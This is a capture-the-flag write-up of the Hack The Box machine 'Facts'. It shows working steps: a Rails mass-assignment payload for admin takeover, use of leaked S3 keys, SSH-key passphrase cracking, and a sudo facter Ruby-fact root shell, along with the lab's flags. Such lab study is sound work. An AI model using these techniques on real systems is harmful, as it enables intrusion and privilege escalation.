Hackthebox: Facts

Foued SAIDI Lv5

Overview

Facts is an easy-difficulty Linux machine from Hack The Box that revolves around a Ruby on Rails application. After registering a regular account, we abuse a mass-assignment (parameter pollution) flaw in the profile update endpoint to inject password[role]=admin and promote ourselves to administrator. The admin panel exposes the application’s filesystem settings, where a set of S3-style credentials are leaked. Enumerating the custom (MinIO-like) S3 endpoint reveals an internal bucket holding the home directory of the user trivia, including an encrypted id_ed25519 private key. We crack the passphrase with ssh2john + rockyou and SSH in as trivia. Finally, sudo -l shows trivia can run /usr/bin/facter as root with NOPASSWD, and we leverage the GTFOBins --custom-dir trick to load a malicious Ruby fact that spawns a root shell.

Facts-info-card
Facts-info-card

Reconnaissance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
PORT   STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4d:d7:b2:8c:d4:df:57:9c:a4:2f:df:c6:e3:01:29:89 (ECDSA)
|_ 256 a3:ad:6b:2f:4a:bf:6f:48:ac:81:b9:45:3f:de:fb:87 (ED25519)
80/tcp open http nginx 1.26.3 (Ubuntu)
|_http-title: Did not follow redirect to http://facts.htb/
|_http-server-header: nginx/1.26.3 (Ubuntu)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We have the usual SSH port 22 and an nginx web server on port 80 that redirects us towards facts.htb, which we will add to our /etc/hosts.

Web Application - Mass Assignment Privilege Escalation

We start by creating an account on the application via /admin/login, then we head over to our profile and trigger a change password action while intercepting the request in Burp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /admin/users/5/updated_ajax HTTP/1.1
Host: facts.htb
Content-Length: 190
X-CSRF-Token: utbpV3tVRoY7RWPANjiqHESs0hJnbwDcVkCeZu4Y_3ZUg2ZJiWbLulYazGYwmfbI5XGb6_FJkrZrPOrJc9Mhkg
X-Requested-With: XMLHttpRequest
Accept-Language: en-US,en;q=0.9
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Origin: http://facts.htb
Referer: http://facts.htb/admin/profile/edit
Accept-Encoding: gzip, deflate, br
Cookie: auth_token=2-hfycQIZvedfOoO3wsmRA&Mozilla%2F5.0+%28X11%3B+Linux+x86_64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F136.0.0.0+Safari%2F537.36&10.10.16.79; _factsapp_session=z8yyxQJicGI5gBVPGQy%2BtXXfN5wcS363vpLWCFKCIaEtq%2BySaIV8x58zyXG7PWi2YXNllR9Lbi5cCWTjaIZuinxKFmKEroOOLhoYFioPLKmIXu%2BOWJLlTAQ7eGxiSdFiwmqaWdRTzlkXWOuvwD3CnQ24oMHBYYORC7ecekQAuAtq2HP8oP80f2kJY3mbKzhqZCse3HVSvnoW5yL%2Ba66DDnMAyvjj0VCvJyv4OtSIVQCg0PoLdQfk6WzjyKv4Eop3RfNLTq6VBGSeE5RZJce0t4cm5zJko244op34HlOYxKk%2F4WthYOmFZhVVPgmdOz%2BRYP%2BFRE0%3D--Pc%2F5aHScI5TDwXWm--%2BLC96pN0NDf8wnnTBeoc6g%3D%3D
Connection: keep-alive

_method=patch&authenticity_token=utbpV3tVRoY7RWPANjiqHESs0hJnbwDcVkCeZu4Y_3ZUg2ZJiWbLulYazGYwmfbI5XGb6_FJkrZrPOrJc9Mhkg&password%5Bpassword%5D=kujen&password%5Bpassword_confirmation%5D=kujen

The body submits password[password] and password[password_confirmation] as a nested hash. Since this is a Rails app and the update is built on a permissive params hash, we can smuggle an extra attribute into the same password[...] object. We add the following to the request body to set our own role to admin:

1
&password%5Brole%5D=admin

This abuses Rails mass-assignment / parameter pollution: the role attribute gets assigned right alongside the password fields, instantly making us an administrator of the platform.

Admin Panel - Leaking S3 Credentials

Now that we are an admin, we browse to the site settings page:

1
http://facts.htb/admin/settings/site

Heading into the filesystem settings, we find a set of S3 configuration values:

1
2
3
4
5
6
Aws s3 access key (*): AKIA50C75D2FB662F8CC
Aws s3 secret key (*): nqlT8SSLd0IKRfUrmKMgFkUzpwXiTjHEJZkThBsB
Aws s3 bucket name (*): randomfacts
Aws s3 region (*): us-east-1
Aws s3 bucket endpoint: http://localhost:54321
Cloudfront url: http://facts.htb/randomfacts

The endpoint http://localhost:54321 tells us this is a self-hosted, MinIO-style S3 service running on the box itself rather than real AWS. We configure an AWS CLI profile with the leaked keys and point it at the box’s S3 endpoint:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(kali㉿kali)-[~]
└─$ aws configure --profile randomfacts
AWS Access Key ID [None]: AKIA50C75D2FB662F8CC
AWS Secret Access Key [None]: nqlT8SSLd0IKRfUrmKMgFkUzpwXiTjHEJZkThBsB
Default region name [None]: us-east-1
Default output format [None]: json

┌──(kali㉿kali)-[~]
└─$ aws s3 ls \
--endpoint-url http://10.129.20.116:54321 \
--profile randomfacts

2025-09-11 08:06:52 internal
2025-09-11 08:06:52 randomfacts

Alongside the expected randomfacts bucket, there is an interesting internal bucket. Listing it recursively reveals what looks like a full user home directory:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ aws s3 ls s3://internal \
--recursive \
--endpoint-url http://10.129.20.116:54321 \
--profile randomfacts

2026-01-08 13:45:13 220 .bash_logout
2026-01-08 13:45:13 3900 .bashrc
<snip>
2026-01-08 14:01:43 0 .cache/motd.legal-displayed
2026-01-08 13:47:17 20 .lesshst
2026-01-08 13:47:17 807 .profile
2026-02-01 20:34:57 82 .ssh/authorized_keys
2026-02-01 20:34:57 464 .ssh/id_ed25519


There’s a .ssh/id_ed25519 private key sitting in the bucket. Let’s pull it down.

Cracking the SSH Key

We download the private key, run it through ssh2john, and crack the passphrase with rockyou:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(kali㉿kali)-[~]
└─$ aws s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519 \
--endpoint-url http://10.129.20.116:54321 \
--profile randomfacts

download: s3://internal/.ssh/id_ed25519 to ./id_ed25519

┌──(kali㉿kali)-[~]
└─$ ssh2john id_ed25519 > hash

┌──(kali㉿kali)-[~]
└─$ john -w:/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 24 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
dragonballz (id_ed25519)
1g 0:00:01:51 DONE (2026-02-02 00:31) 0.008987g/s 28.76p/s 28.76c/s 28.76C/s billy1..imissu
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

We recover the passphrase dragonballz. To find out which user this key belongs to, we strip the passphrase off the key, which prints its comment:

1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[~]
└─$ chmod 600 id_ed25519

┌──(kali㉿kali)-[~]
└─$ ssh-keygen -p -f id_ed25519
Enter old passphrase:
Key has comment '[email protected]'
Enter new passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved with the new passphrase.

The comment [email protected] gives us the username trivia. We can now SSH in:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ ssh [email protected] -i id_ed25519 
Last login: Wed Jan 28 16:17:19 UTC 2026 from 10.10.14.4 on ssh
Welcome to Ubuntu 25.04 (GNU/Linux 6.14.0-37-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro

System information as of Mon Feb 2 05:33:02 AM UTC 2026

System load: 0.0
Usage of /: 75.6% of 7.28GB
Memory usage: 19%
Swap usage: 0%
Processes: 221
Users logged in: 1
IPv4 address for eth0: 10.129.20.116
IPv6 address for eth0: dead:beef::250:56ff:feb0:b25a


0 updates can be applied immediately.

trivia@facts:~$ id
uid=1000(trivia) gid=1000(trivia) groups=1000(trivia)
trivia@facts:~$

Privilege Escalation - sudo facter (GTFOBins)

With a shell as trivia, we check our sudo permissions:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
trivia@facts:~$ sudo -l
Matching Defaults entries for trivia on facts:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User trivia may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/facter
trivia@facts:~$ echo 'ruby -e 'exec "/bin/sh"''> ^C
trivia@facts:~$ echo -e '#!/usr/bin/env ruby\nsystem("/bin/bash")' > shell.rb
trivia@facts:~$ chmod +x shell.rb
trivia@facts:~$ sudo /usr/bin/facter --custom-dir=./
root@facts:/home/trivia# cat ../william/user.txt
c28ac0c27c676e980035431f5054351a
root@facts:/home/trivia# cd
root@facts:~# cat /root/root.txt
05ff12774a476b6fccd4afa2bd565bce
root@facts:~#

trivia is allowed to run /usr/bin/facter as root with NOPASSWD. According to facter | GTFOBins , facter can load custom facts written in Ruby from a directory we control via --custom-dir. Since facter executes these Ruby files, we drop a shell.rb that simply calls system("/bin/bash"), then point facter at the current directory with sudo /usr/bin/facter --custom-dir=./. The fact runs as root and hands us a root shell, letting us read both the user and root flags.

facter | GTFOBins

That was it for Facts, hope you learned something new!
-0xkujen

  • Title: Hackthebox: Facts
  • Author: Foued SAIDI
  • Created at : 2026-06-09 21:27:51
  • Updated at : 2026-06-10 19:42:33
  • Link: https://kujen5.github.io/2026/06/09/Hackthebox-Facts/
  • License: This work is licensed under CC BY-NC-SA 4.0.